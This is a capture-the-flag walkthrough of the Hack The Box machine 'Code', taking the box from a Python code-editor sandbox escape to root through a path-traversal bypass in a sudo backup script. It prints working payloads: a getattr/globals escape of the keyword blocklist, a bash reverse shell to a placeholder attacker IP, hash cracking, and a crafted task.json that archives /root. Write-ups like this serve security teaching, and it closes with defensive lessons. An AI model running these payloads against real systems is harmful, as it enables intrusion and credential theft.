root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat code.md
// writeups

Code

22 Mar 2025 · 16 min read
Code HTB machine

Executive summary — Code is an Easy Linux box whose entry point is an online Python code editor (Flask on Gunicorn) that runs your input after filtering it through a keyword blocklist. We escape the sandbox by pulling the already-loaded modules from globals() and using getattr() to reach os.popen without ever writing the forbidden words literally (RCE). The application's SQLite database holds unsalted MD5 hashes; we crack martin's and log in over SSH. Root comes from a sudo NOPASSWD entry on backy.sh, a backup wrapper whose anti-traversal filter (../) does a single pass and is bypassed with ....// to archive the whole of /root. Path: web sandbox → RCE → SQLite → SSH → backy.sh → root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.10.11.62

Attack map

[5000/HTTP] "Python Code Editor" (Flask + Gunicorn)
   │  runs Python with a keyword BLOCKLIST (import, os, eval…)
   │  sandbox escape: globals()['o'+'s'] + getattr() → os.popen
   ▼
[RCE]  shell as app-production
   │  SQLite instance/database.db → MD5 hashes (development, martin)
   │  crack martin → nafeelswordsmaster
   ▼
[SSH]  martin  (user.txt)
   │  sudo -l → NOPASSWD /usr/bin/backy.sh
   │  «../» filter bypassed with «....//»  → archive /root
   ▼
[ROOT]

1. Recon

As usual, we start with a full sweep of all 65535 TCP ports, then a targeted script and version scan on whatever comes back open:

nmap -p- --min-rate 10000 10.10.11.62
nmap -p22,5000 -sCV 10.10.11.62
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu
5000/tcp open  http     Gunicorn 20.0.4

--min-rate 10000 forces nmap to send packets at a high minimum rate so sweeping the entire port range doesn't take forever; -sCV is shorthand for -sC -sV (default NSE scripts + version detection) run only against the ports we already know are open.

Only two ports: SSH (no credentials yet, so not the entry vector) and an HTTP service on 5000 served by Gunicorn, the production WSGI server typical of Python/Flask apps (the Flask dev server normally isn't fronted by Gunicorn on port 5000). The whole foothold necessarily goes through 5000.

2. The Python code editor and its blocklist

The site is a “Python Code Editor”: a text box in the browser where you write code, and a button that sends it to the server, runs it, and prints the output back. It's the classic pattern of online code “playgrounds” or “judges” (think Judge0-style tools or interactive documentation editors): running whatever an anonymous user types is, by definition, a huge attack surface, so the app tries to contain it by filtering certain words before executing anything.

Testing with snippets that contain Python's typically dangerous tokens confirms there's a blocklist: whenever the submitted code contains one of those tokens, the editor refuses to run it. Among the blocked words are at least:

import   os   subprocess   open   eval   exec   __builtins__   __import__

Why this isn't enough: filtering the source text for certain strings is a surface-level control, not a real sandbox. It does nothing at the interpreter level; it only stops those words from appearing literally and contiguously in what we type. If the forbidden name is built at runtime —or fetched from a place where it already exists, instead of being typed out—, the filter never sees it.

3. Sandbox escape → RCE

The key clue: the application process itself has already run import os (for its own internal needs) before executing our code, so the os module already lives in the interpreter's global namespace. We don't need import —which is blocked—: we can grab it straight out of the dictionary returned by globals().

One problem remains: to read that dictionary entry and to call the method we want, we have to write the strings "os" and "popen". If the filter is looking for those words as a substring of the code we send, typing them as-is would give us away. The fix is to split them into pieces and concatenate them at runtime:

data = getattr(globals()['o'+'s'], 'p'+'open')('id').read()
# globals() exposes the modules already loaded by the app (incl. os);
# 'o'+'s' and 'p'+'open' keep the literal words 'os'/'popen' off the source.

Why it works exactly: in the source text we send, the characters o and s are never adjacent —they're separated by quotes and a + sign—, so a search for the literal substring "os" (or "popen") finds nothing. The actual concatenation only happens after the filter has already approved the submission, once the interpreter evaluates the expression. getattr() then does exactly what os.popen would do if we could write it directly: it spawns a subprocess, runs the command, and returns its output.

With the technique confirmed (id returns the user the service runs as), we fire a full reverse shell instead of one-off commands. Start a listener and run the payload in the editor:

nc -lvnp 443
getattr(globals()['o'+'s'], 'p'+'open')('bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1"').read()
whoami  →  app-production

app-production is a service account, not a human system user: it confirms we're inside the Gunicorn/Flask process, running commands with whatever privileges that account has — no more, no less.

4. Loot: the SQLite database

The Flask app stores its state in a local SQLite database inside the instance/ folder —Flask's standard convention for files that shouldn't ship alongside the application code (databases, local config, secrets)—. We locate it and dump the users table:

find / -name '*.db' 2>/dev/null
sqlite3 /home/app-production/app/instance/database.db 'select username,password from user;'
development|759b74ce43947f5f4c91aeddc3e5bad3
martin|3de6f30c4a09c27fc71932bfc68474be

Two application accounts with their hashed passwords. Only one matters to us: martin matches the name of a system user with SSH access, so it's the one that can take us from an application-level shell to a real one.

5. Cracking the MD5 hashes

The hashes are 32 hex characters long: they're MD5, and unsalted (no random value mixed in before hashing). That makes them especially weak: MD5 computes at a brutal rate on GPUs, and without a salt, any leaked-password wordlist cracks them in seconds as long as the password is reasonably common.

hashcat -m 0 -a 0 3de6f30c4a09c27fc71932bfc68474be /usr/share/wordlists/rockyou.txt
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster

-m 0 tells hashcat the format is raw MD5; -a 0 picks a straight dictionary attack against rockyou.txt, the most widely used leaked real-password wordlist for this kind of challenge.

6. SSH access and user flag

martin's freshly cracked password turns out to be the same one on the operating system —password reuse between the application layer and the Unix account, a common failure when development and sysadmin share credentials—. We reuse it straight over SSH:

ssh martin@10.10.11.62    # nafeelswordsmaster
cat user.txt

That closes out the first half of the box: from a public-facing Python code form we've reached a legitimate interactive session on the system.

7. Privilege escalation — auditing sudo

First thing after landing a user, always: check what it can run with sudo with no further questions asked.

sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Translation: martin can run /usr/bin/backy.sh as any user (including root) and without being asked for a password. If that script has any weakness that accepts input we control, it's the direct path to root.

backy.sh wraps backy, a Go backup utility. It takes a task.json file listing the directories to archive. Since accepting arbitrary user-supplied paths while running as root is dangerous on its own, the script tries to neutralise path traversal by stripping ../ sequences with jq before invoking the real binary:

#!/bin/bash
# /usr/bin/backy.sh (extracto): intenta neutralizar el path traversal
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/backy "$json_file"   # ← runs the ORIGINAL JSON, not the sanitised one

8. Breaking backy.sh's anti-traversal filter

The bug: gsub makes a single left-to-right pass, replacing every ../ match it finds at that moment —but it never rescans the result to check whether the substitution itself created a new match. On top of that, and this is what actually seals the deal, backy is invoked afterwards using the original $json_file, not the sanitised variable: the sanitised value gets computed, but never actually gets used.

If we write ....// (four dots and two slashes), the ../ pattern does appear once, right in the middle of that string, and that single match gets deleted. What's left once the surrounding pieces are joined back together is, once again, ../:

string written in the JSON:       "....//"
the jq filter locates the "../" pattern ONCE, in the middle, and deletes it
what remains after "sanitizing":   "../"   ← the very pattern we wanted removed, reassembled

A classic single-pass substitution bypass: write the forbidden pattern “doubled up” so that once the middle copy is deleted, the original is reassembled. Chaining several ....// blocks climbs as many directory levels as we need. We craft a task.json that, with that trick, points at /root:

{
  "destination": "/tmp/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/....//....//root"
  ]
}
sudo /usr/bin/backy.sh task.json

Since the sanitised value never actually gets applied, backy receives the path with the traversal fully intact and, running as root, produces the compressed archive with the complete contents of /root in /tmp/backups/.

9. Root flag

We extract the archive and read the flag; along the way, root's private SSH key travelling inside the backup gives us a stable shell without depending on backy.sh on every access:

cd /tmp/backups
tar xjf code_home_.._.._root_*.tar.bz2
cat root/root.txt
# optional: ssh -i root/.ssh/id_rsa root@10.10.11.62

Box fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
WebPython editor (Flask/Gunicorn)Sandbox implemented as a source-text keyword blocklistEscape via globals()/getattr → RCE as app-production
LootSQLite instance/database.dbUnsalted MD5 user passwordsmartin's credential recoverable offline in seconds
AccessSSH (martin)App password reused on the system accountInteractive shell + user.txt
PrivEsc (config)sudoersNOPASSWD: ALL on /usr/bin/backy.shAny user can invoke the backup tool as root with no password
PrivEsc (bypass)backy.sh / jq gsubSingle-pass, non-recursive ../ removal (....//)Archive all of /root → root.txt + root's SSH key

Lessons learned

  • A word blocklist is not a sandbox: filtering source text doesn't stop forbidden names from being built at runtime or pulled from a namespace that already contains them (globals()). Running untrusted code needs real isolation —an unprivileged container, seccomp, a genuinely restricted interpreter (not eval/exec behind a filter)—, not a token list.
  • Never store passwords as MD5 (or any fast, unsalted hash): with a GPU and rockyou they fall in seconds. Use bcrypt, scrypt, or argon2, which are designed to be slow.
  • Don't reuse passwords between the application layer and operating-system accounts: a database dump shouldn't automatically translate into SSH access.
  • Sanitise recursively, or better, canonicalise the path (realpath) and validate against an allowlist: a single-pass ../ replacement can always be dodged by duplicating the pattern around the copy that gets deleted.
  • Beware sudo NOPASSWD on scripts that accept user input: a backup binary that runs as root and processes paths it didn't generate itself is a straight line to reading —or exfiltrating— any file on the system.
  • Audit what actually gets executed, not just what gets validated: the bug in backy.sh isn't really in the filter itself, it's that its result is never used. A reminder to audit the full data flow, not just the sanitisation step.